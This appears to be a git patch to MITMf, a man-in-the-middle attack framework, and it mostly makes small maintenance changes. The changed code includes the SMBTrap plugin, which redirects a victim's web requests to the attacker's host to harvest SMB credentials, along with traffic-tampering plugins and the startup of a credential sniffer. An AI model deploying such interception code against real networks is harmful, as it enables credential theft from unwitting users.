From f125b86aa0b06457c3a5b92c9632f658ba3e095a Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 20 Jun 2015 16:03:06 +0200 Subject: [PATCH] fixed scrolling issue in screenshotter.js, removed some useless output in mitmflib --- config/mitmf.conf | 7 +++---- core/javascript/screenshot.js | 2 +- core/mitmfapi.py | 5 +---- core/servers/http/HTTPserver.py | 3 +-- mitmf.py | 13 +++++++------ plugins/CacheKill.py | 9 ++++----- plugins/SMBTrap.py | 5 ++--- plugins/Upsidedownternet.py | 9 ++++----- 8 files changed, 23 insertions(+), 30 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index dd15322..7c4b96a 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -21,8 +21,8 @@ [[MITMf-API]] - host = '127.0.0.1' - port = '9090' + host = 127.0.0.1 + port = 9090 [[SMB]] @@ -77,9 +77,8 @@ # Here you can define the content to deliver # - # Format is urlpath = filesystem path (urlpath can be a regular expression) + # Format is urlpath = filesystem path - ".*" = "/var/www" "/test" = "/var/www2" [[DNS]] diff --git a/core/javascript/screenshot.js b/core/javascript/screenshot.js index 55219d6..e8b1a8e 100644 --- a/core/javascript/screenshot.js +++ b/core/javascript/screenshot.js @@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) { }; } _html2canvas.Parse = function (images, options) { - window.scroll(0,0); + //window.scroll(0,0); var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default numDraws = 0, diff --git a/core/mitmfapi.py b/core/mitmfapi.py index b6c7ff8..f84ef71 100644 --- a/core/mitmfapi.py +++ b/core/mitmfapi.py @@ -36,9 +36,6 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins app = Flask(__name__) -#log = logging.getLogger('werkzeug') -#log.setLevel(logging.DEBUG) - class mitmfapi: _instance = None @@ -98,7 +95,7 @@ class mitmfapi: return json.dumps({"plugin": plugin, "response": "failed"}) def startFlask(self): - app.run(host=self.host, port=self.port) + app.run(debug=False, host=self.host, port=self.port) #def start(self): # api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask) diff --git a/core/servers/http/HTTPserver.py b/core/servers/http/HTTPserver.py index aa585f6..67c64f1 100644 --- a/core/servers/http/HTTPserver.py +++ b/core/servers/http/HTTPserver.py @@ -19,7 +19,6 @@ # import logging -import sys import threading from core.configwatcher import ConfigWatcher @@ -39,7 +38,7 @@ class HTTPserver: return HTTPserver._instance def startFlask(self): - self.server.run(host='0.0.0.0', port=self.port) + self.server.run(debug=False, host='0.0.0.0', port=self.port) def start(self): server_thread = threading.Thread(name='HTTPserver', target=self.startFlask) diff --git a/mitmf.py b/mitmf.py index 77f9ee7..3e090ee 100755 --- a/mitmf.py +++ b/mitmf.py @@ -169,11 +169,6 @@ print "|" print "|_ Sergio-Proxy v{} online".format(sergio_version) print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version) -#Start MITMf-API -from core.mitmfapi import mitmfapi -mitmfapi().start() -print "|_ MITMf-API running on http://{}:{}/".format(mitmfapi.getInstance().host, mitmfapi.getInstance().port) - #Start Net-Creds from core.netcreds.NetCreds import NetCreds NetCreds().start(args.interface, myip) @@ -191,9 +186,15 @@ print "|_ HTTP server online" #Start the SMB server from core.servers.smb.SMBserver import SMBserver -print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) +print "|_ SMB server online [Mode: {}] (Impacket {})".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) SMBserver.getInstance().start() +#Start MITMf-API +from core.mitmfapi import mitmfapi +mitmfapi().start() +print "|" +print "|_ MITMf-API running on http://{}:{}\n".format(mitmfapi.getInstance().host, mitmfapi.getInstance().port) + #start the reactor reactor.run() diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py index 6c89333..0c21bd4 100644 --- a/plugins/CacheKill.py +++ b/plugins/CacheKill.py @@ -45,8 +45,7 @@ class CacheKill(Plugin): def clientRequest(self, request): '''Handles outgoing request''' - if self.getStatus(): - request.headers['pragma'] = 'no-cache' - for header in self.bad_headers: - if header in request.headers: - del request.headers[header] \ No newline at end of file + request.headers['pragma'] = 'no-cache' + for header in self.bad_headers: + if header in request.headers: + del request.headers[header] \ No newline at end of file diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py index 98e9aec..794a0b1 100644 --- a/plugins/SMBTrap.py +++ b/plugins/SMBTrap.py @@ -26,6 +26,5 @@ class SMBTrap(Plugin): return {"request": request, "version": version, "code": 302, "message": "Found"} def serverHeaders(self, response, request): - if self.getStatus(): - mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) - response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8))) + mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) + response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8))) diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index 3c710e2..fb46434 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -45,11 +45,10 @@ class Upsidedownternet(Plugin): def serverHeaders(self, response, request): '''Kill the image skipping that's in place for speed reasons''' - if self.getStatus(): - if request.isImageRequest: - request.isImageRequest = False - request.isImage = True - self.imageType = response.headers['content-type'].split('/')[1].upper() + if request.isImageRequest: + request.isImageRequest = False + request.isImage = True + self.imageType = response.headers['content-type'].split('/')[1].upper() def serverResponse(self, response, request, data): try: